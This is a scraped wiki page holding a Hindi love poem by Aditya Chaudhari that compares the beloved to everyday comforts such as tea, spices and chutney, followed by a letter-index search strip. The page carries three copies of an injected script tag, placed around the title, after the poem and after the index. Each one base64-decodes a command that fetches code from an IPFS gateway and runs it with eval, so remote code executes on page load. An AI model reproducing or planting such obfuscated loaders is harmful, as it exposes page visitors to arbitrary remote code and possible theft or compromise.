कि तुम कुछ इस तरह आना -आदित्य चौधरी  

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
कि तुम कुछ इस तरह आना -आदित्य चौधरी

कि तुम कुछ इस तरह आना
मेरे दिल की दुछत्ती में
लगे ऐसा कि जैसे रौशनी है
दिल के आंगन में

बरसना फूल बन गेंदा के
मेरे भव्य स्वागत को
और बन हार डल जाना
मेरी झुकती सी गरदन में

सुबह की चाय की चुस्की की
तुम आवाज़ हो जाना
सुगंधित तेल बन बिखरो
फिसलना मेरे बालों में

रसोई के मसालों सी रोज़
महकाओ घर भर को
कढ़ी चावल सा लिस जाना
मेरे हाथों में होठों में

मचलना, सीऽ-सीऽ होकर
चाट की चटख़ारियों में तुम
कभी खट्टा, कभी मीठा लगो
तुम स्वाद चटनी में

मेरी आँखों के गुलशन में
रहो राहत भरी झपकन
सहमना और सिकुड़ जाना
छुईमुई बन के सपनों में

कहूँ क्या मैं तो
इक सीधा और सादा सा बंदा हूँ
ग़रज़ ये है कि मिलता है
तुम्हीं से सार जीवन में



<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

वर्णमाला क्रमानुसार लेख खोज

                              अं                                                                                                       क्ष    त्र    ज्ञ             श्र   अः



<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

"https://amp.bharatdiscovery.org/w/index.php?title=कि_तुम_कुछ_इस_तरह_आना_-आदित्य_चौधरी&oldid=540723" से लिया गया